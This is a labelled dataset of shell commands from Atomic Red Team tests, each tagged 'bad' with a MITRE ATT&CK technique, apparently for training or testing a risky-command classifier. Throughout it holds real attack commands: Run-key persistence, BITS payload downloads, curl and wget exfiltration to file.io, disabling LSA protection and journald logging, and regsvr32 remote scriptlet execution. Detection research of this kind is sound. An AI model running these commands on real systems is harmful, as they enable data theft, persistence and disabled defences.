cowWhySo/permission-command-corpus huggingface dataset:
Command: # Copy and rename cmd.exe to VEDetector.exe Copy-Item -Path "#{source_file}" -Destination "#{ved_path}\VEDetector.exe" -Force # Create registry run key for persistence New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "VEDetector" -Value "#{ved_path}\VEDetector.exe" -PropertyType String -Force # Start the renamed process Start-Process -FilePath "#{ved_path}\VEDetector.exe" Start-Sleep -Seconds 5
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.005
Platform: windows
ATT&CK tags: T1036.005
Source rule: Masquerading cmd.exe as VEDetector.exe
Notes: This test simulates an adversary renaming cmd.exe to VEDetector.exe to masquerade as a legitimate application.
The test copies cmd.exe, renames it to VEDetector.exe, adds a registry run key for persistence, and executes the renamed binary.
This technique may be used to evade detection by mimicking legitimate software names or locations.

**Expected Output:**
- A new process named VEDetector.exe appears in the process list, but its behavior matches cmd.exe.
- SIEM/EDR systems may detect this as s
Command: # Remove registry key Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "VEDetector" -ErrorAction SilentlyContinue # Stop the process Stop-Process -Name "VEDetector" -Force -ErrorAction SilentlyContinue # Remove the file Remove-Item -Path "#{ved_path}\VEDetector.exe" -Force -ErrorAction SilentlyContinue Write-Host "[+] Cleaned up VEDetector artifacts"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.005
Platform: windows
ATT&CK tags: T1036.005
Source rule: Masquerading cmd.exe as VEDetector.exe
Notes: This test simulates an adversary renaming cmd.exe to VEDetector.exe to masquerade as a legitimate application.
The test copies cmd.exe, renames it to VEDetector.exe, adds a registry run key for persistence, and executes the renamed binary.
This technique may be used to evade detection by mimicking legitimate software names or locations.

**Expected Output:**
- A new process named VEDetector.exe appears in the process list, but its behavior matches cmd.exe.
- SIEM/EDR systems may detect this as s
Command: cscript "#{jscript}" > %tmp%\T1059.007.out.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.007
Platform: windows
ATT&CK tags: T1059.007
Source rule: JScript execution to gather local computer information via cscript
Notes: JScript execution test, execute JScript via cscript command. When successful, system information will be written to $env:TEMP\T1059.007.out.txt
Command: del %tmp%\T1059.007.out.txt >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.007
Platform: windows
ATT&CK tags: T1059.007
Source rule: JScript execution to gather local computer information via cscript
Notes: JScript execution test, execute JScript via cscript command. When successful, system information will be written to $env:TEMP\T1059.007.out.txt
Command: wscript "#{jscript}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.007
Platform: windows
ATT&CK tags: T1059.007
Source rule: JScript execution to gather local computer information via wscript
Notes: JScript execution test, execute JScript via wscript command. When successful, system information will be shown with four message boxes.
Command: netsh.exe add helper "#{helper_file}" taskkill /im notepad.exe /t /f > NUL 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.007
Platform: windows
ATT&CK tags: T1546.007
Source rule: Netsh Helper DLL Registration
Notes: You can register a "helper dll" with Netsh as a persistance mechanism. The code in the dll is executed every time netsh.exe is called.
The NetshHelper.dll provided with the atomic will simply launch notepad when netsh.exe is run.

[Blog](https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html)
[Sample DLL code](https://github.com/outflanknl/NetshHelperBeacon)
Command: netsh.exe delete helper "#{helper_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.007
Platform: windows
ATT&CK tags: T1546.007
Source rule: Netsh Helper DLL Registration
Notes: You can register a "helper dll" with Netsh as a persistance mechanism. The code in the dll is executed every time netsh.exe is called.
The NetshHelper.dll provided with the atomic will simply launch notepad when netsh.exe is run.

[Blog](https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html)
[Sample DLL code](https://github.com/outflanknl/NetshHelperBeacon)
Command: bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1197
Platform: windows
ATT&CK tags: T1197
Source rule: Bitsadmin Download (cmd)
Notes: This test simulates an adversary leveraging bitsadmin.exe to download
and execute a payload
Command: del #{local_file} >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1197
Platform: windows
ATT&CK tags: T1197
Source rule: Bitsadmin Download (cmd)
Notes: This test simulates an adversary leveraging bitsadmin.exe to download
and execute a payload
Command: Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1197
Platform: windows
ATT&CK tags: T1197
Source rule: Bitsadmin Download (PowerShell)
Notes: This test simulates an adversary leveraging bitsadmin.exe to download
and execute a payload leveraging PowerShell

Upon execution you will find a github markdown file downloaded to the Temp directory
Command: Remove-Item #{local_file} -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1197
Platform: windows
ATT&CK tags: T1197
Source rule: Bitsadmin Download (PowerShell)
Notes: This test simulates an adversary leveraging bitsadmin.exe to download
and execute a payload leveraging PowerShell

Upon execution you will find a github markdown file downloaded to the Temp directory
Command: bitsadmin.exe /create #{bits_job_name} bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file} bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL bitsadmin.exe /resume #{bits_job_name} ping -n 5 127.0.0.1 >nul 2>&1 bitsadmin.exe /complete #{bits_job_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1197
Platform: windows
ATT&CK tags: T1197
Source rule: Persist, Download, & Execute
Notes: This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transferand execute a payload in multiple steps.
Note that in this test, the file executed is not the one downloaded. The downloading of a random file is simply the trigger for getting bitsdamin to run an executable.
This has the interesting side effect of causing the executable (e.g. notepad) to run with an Initiating Process of "svchost.exe" and an Initiating Process Command Line of "svchost.exe -k netsvcs -p -s BITS"
Command: set "#{download_path}" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file} /eventName:desktopimgdownldr
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1197
Platform: windows
ATT&CK tags: T1197
Source rule: Bits download using desktopimgdownldr.exe (cmd)
Notes: This test simulates using desktopimgdownldr.exe to download a malicious file
instead of a desktop or lockscreen background img. The process that actually makes 
the TCP connection and creates the file on the disk is a svchost process (“-k netsvc -p -s BITS”) 
and not desktopimgdownldr.exe. See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/
Command: del #{cleanup_path}\#{cleanup_file} >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1197
Platform: windows
ATT&CK tags: T1197
Source rule: Bits download using desktopimgdownldr.exe (cmd)
Notes: This test simulates using desktopimgdownldr.exe to download a malicious file
instead of a desktop or lockscreen background img. The process that actually makes 
the TCP connection and creates the file on the disk is a svchost process (“-k netsvc -p -s BITS”) 
and not desktopimgdownldr.exe. See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/
Command: "C:\Program Files\Oracle\VirtualBox\VBoxSVC.exe" /reregserver regsvr32 /S "C:\Program Files\Oracle\VirtualBox\VboxC.dll" rundll32 "C:\Program Files\Oracle\VirtualBox\VBoxRT.dll,RTR3Init" sc create VBoxDRV binpath= "C:\Program Files\Oracle\VirtualBox\drivers\VboxDrv.sys" type= kernel start= auto error= normal displayname= PortableVBoxDRV sc start VBoxDRV
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.006
Platform: windows
ATT&CK tags: T1564.006
Source rule: Register Portable Virtualbox
Notes: ransomware payloads via virtual machines (VM). 
[Maze ransomware](https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/)
Command: sc stop VBoxDRV sc delete VBoxDRV regsvr32 /u /S "C:\Program Files\Oracle\VirtualBox\VboxC.dll" msiexec /x "#{msi_file_path}" /qn
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.006
Platform: windows
ATT&CK tags: T1564.006
Source rule: Register Portable Virtualbox
Notes: ransomware payloads via virtual machines (VM). 
[Maze ransomware](https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/)
Command: "#{vboxmanage_exe}" createvm --name "#{vm_name}" --register "#{vboxmanage_exe}" modifyvm "#{vm_name}" --firmware efi "#{vboxmanage_exe}" startvm "#{vm_name}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.006
Platform: windows
ATT&CK tags: T1564.006
Source rule: Create and start VirtualBox virtual machine
Notes: Create a simple VirtualBox VM and start up the machine
Cleanup command stops and deletes the newly created VM and associated files
https://www.virtualbox.org/manual/ch08.html#vboxmanage-startvm
https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
https://attack.mitre.org/techniques/T1564/006/
Command: "#{vboxmanage_exe}" controlvm "#{vm_name}" poweroff "#{vboxmanage_exe}" unregistervm "#{vm_name}" --delete
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.006
Platform: windows
ATT&CK tags: T1564.006
Source rule: Create and start VirtualBox virtual machine
Notes: Create a simple VirtualBox VM and start up the machine
Cleanup command stops and deletes the newly created VM and associated files
https://www.virtualbox.org/manual/ch08.html#vboxmanage-startvm
https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
https://attack.mitre.org/techniques/T1564/006/
Command: $VM = "#{vm_name}" New-VM -Name $VM -Generation 2 Set-VMFirmware $VM -EnableSecureBoot Off Start-VM $VM
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.006
Platform: windows
ATT&CK tags: T1564.006
Source rule: Create and start Hyper-V virtual machine
Notes: Create a simple Hyper-V VM (Windows native hypervisor) and start up the machine
Cleanup command stops and deletes the newly created VM
https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v
https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/
https://attack.mitre.org/techniques/T1564/006/
Command: Stop-VM $VM -Force Remove-VM $VM -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.006
Platform: windows
ATT&CK tags: T1564.006
Source rule: Create and start Hyper-V virtual machine
Notes: Create a simple Hyper-V VM (Windows native hypervisor) and start up the machine
Cleanup command stops and deletes the newly created VM
https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v
https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/
https://attack.mitre.org/techniques/T1564/006/
Command: #{curl_path} -k -F "file=@#{input_file}" https://file.io/
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1048.002
Platform: windows
ATT&CK tags: T1048.002
Source rule: Exfiltrate data HTTPS using curl windows
Notes: Exfiltrate data HTTPS using curl to file share site file.io
Command: curl -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1048.002
Platform: macos,linux
ATT&CK tags: T1048.002
Source rule: Exfiltrate data HTTPS using curl freebsd,linux or macos
Notes: Exfiltrate data HTTPS using curl to file share site file.io
Command: wget --post-file="#{input_file}" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1048.002
Platform: linux
ATT&CK tags: T1048.002
Source rule: Exfiltrate data in a file over HTTPS using wget
Notes: Exfiltrate data over HTTPS using wget --post-file method
Command: wget --post-data="msg=AtomicTestT1048.002" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1048.002
Platform: linux
ATT&CK tags: T1048.002
Source rule: Exfiltrate data as text over HTTPS using wget
Notes: Exfiltrate data over HTTPS using wget --post-data method
Command: reg add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562
Platform: windows
ATT&CK tags: T1562
Source rule: Windows Disable LSA Protection
Notes: The following Atomic adds a registry entry to disable LSA Protection.

The LSA controls and manages user rights information, password hashes and other important bits of information in memory. Attacker tools, such as mimikatz, rely on accessing this content to scrape password hashes or clear-text passwords. Enabling LSA Protection configures Windows to control the information stored in memory in a more secure fashion - specifically, to prevent non-protected processes from accessing that data.
Upo
Command: reg delete HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562
Platform: windows
ATT&CK tags: T1562
Source rule: Windows Disable LSA Protection
Notes: The following Atomic adds a registry entry to disable LSA Protection.

The LSA controls and manages user rights information, password hashes and other important bits of information in memory. Attacker tools, such as mimikatz, rely on accessing this content to scrape password hashes or clear-text passwords. Enabling LSA Protection configures Windows to control the information stored in memory in a more secure fashion - specifically, to prevent non-protected processes from accessing that data.
Upo
Command: sudo systemctl stop systemd-journald #disables journal logging
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562
Platform: linux
ATT&CK tags: T1562
Source rule: Disable journal logging via systemctl utility
Notes: The atomic test disables the journal logging using built-in systemctl utility
Command: sudo systemctl start systemd-journald #starts journal service sudo systemctl enable systemd-journald #starts journal service automatically at boot time
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562
Platform: linux
ATT&CK tags: T1562
Source rule: Disable journal logging via systemctl utility
Notes: The atomic test disables the journal logging using built-in systemctl utility
Command: sudo sed -i 's/Storage=auto/Storage=none/' /etc/systemd/journald.conf
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562
Platform: linux
ATT&CK tags: T1562
Source rule: Disable journal logging via sed utility
Notes: The atomic test disables the journal logging by searching and replacing the "Storage" parameter to "none" within the journald.conf file, thus any new journal entries will only be temporarily available in memory and not written to disk
Command: sudo sed -i 's/Storage=none/Storage=auto/' /etc/systemd/journald.conf #re-enables storage of journal data sudo systemctl restart systemd-journald #restart the journal service
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562
Platform: linux
ATT&CK tags: T1562
Source rule: Disable journal logging via sed utility
Notes: The atomic test disables the journal logging by searching and replacing the "Storage" parameter to "none" within the journald.conf file, thus any new journal entries will only be temporarily available in memory and not written to disk
Command: "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1559
Platform: windows
ATT&CK tags: T1559
Source rule: Cobalt Strike Artifact Kit pipe
Notes: Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.
Command: "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 2
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1559
Platform: windows
ATT&CK tags: T1559
Source rule: Cobalt Strike Lateral Movement (psexec_psh) pipe
Notes: Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.
Command: "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 3
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1559
Platform: windows
ATT&CK tags: T1559
Source rule: Cobalt Strike SSH (postex_ssh) pipe
Notes: Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.
Command: "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 4
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1559
Platform: windows
ATT&CK tags: T1559
Source rule: Cobalt Strike post-exploitation pipe (4.2 and later)
Notes: Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.
Command: "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 5
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1559
Platform: windows
ATT&CK tags: T1559
Source rule: Cobalt Strike post-exploitation pipe (before 4.2)
Notes: Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.
Command: $notepad = Start-Process notepad -passthru Start-Process "$PathToAtomicsFolder\T1055.003\bin\InjectContext.exe" Start-Sleep -Seconds 5 Stop-Process $notepad.id
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055.003
Platform: windows
ATT&CK tags: T1055.003
Source rule: Thread Execution Hijacking
Notes: This test injects a MessageBox shellcode generated by msfvenom in Notepad.exe using Thread Execution Hijacking. When successful, a message box will appear with the "Atomic Red Team" caption after one or two seconds.
Command: #{regsvr32path}\#{regsvr32name} /s /u /i:"#{filename}" scrobj.dll
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.010
Platform: windows
ATT&CK tags: T1218.010
Source rule: Regsvr32 local COM scriptlet execution
Notes: Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.
Command: #{regsvr32path}\#{regsvr32name} /s /u /i:#{url} scrobj.dll
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.010
Platform: windows
ATT&CK tags: T1218.010
Source rule: Regsvr32 remote COM scriptlet execution
Notes: Regsvr32.exe is a command-line program used to register and unregister OLE controls. This test may be blocked by windows defender; disable
windows defender real-time protection to fix it. Upon execution, calc.exe will be launched.
Command: IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( #{regsvr32path}\#{regsvr32name} /s #{dll_name} )
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.010
Platform: windows
ATT&CK tags: T1218.010
Source rule: Regsvr32 local DLL execution
Notes: Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.
Command: #{regsvr32path}\#{regsvr32name} /s #{dll_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.010
Platform: windows
ATT&CK tags: T1218.010
Source rule: Regsvr32 Registering Non DLL
Notes: Replicating observed Gozi maldoc behavior registering a dll with an altered extension
Command: #{regsvr32path}\#{regsvr32name} /U /s #{dll_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.010
Platform: windows
ATT&CK tags: T1218.010
Source rule: Regsvr32 Registering Non DLL
Notes: Replicating observed Gozi maldoc behavior registering a dll with an altered extension
Command: #{regsvr32path}\#{regsvr32name} /s /i "#{dll_name}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.010
Platform: windows
ATT&CK tags: T1218.010
Source rule: Regsvr32 Silent DLL Install Call DllRegisterServer
Notes: Regsvr32.exe is a command-line program used to register and unregister OLE controls. Normally, an install is executed with /n to prevent calling DllRegisterServer.
Command: net localgroup net localgroup "Administrators"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.001
Platform: windows
ATT&CK tags: T1069.001
Source rule: Basic Permission Groups Discovery Windows (Local)
Notes: Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
information will be displayed.
Command: get-localgroup Get-LocalGroupMember -Name "Administrators"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.001
Platform: windows
ATT&CK tags: T1069.001
Source rule: Permission Groups Discovery PowerShell (Local)
Notes: Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
information will be displayed.
Command: New-Item -Path "#{output_path}" -ItemType Directory > $null & "#{sharphound_path}" -d "#{domain}" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory "#{output_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.001
Platform: windows
ATT&CK tags: T1069.001
Source rule: SharpHound3 - LocalAdmin
Notes: This module runs the Windows executable of SharpHound in order to remotely list members of the local Administrators group (SAMR)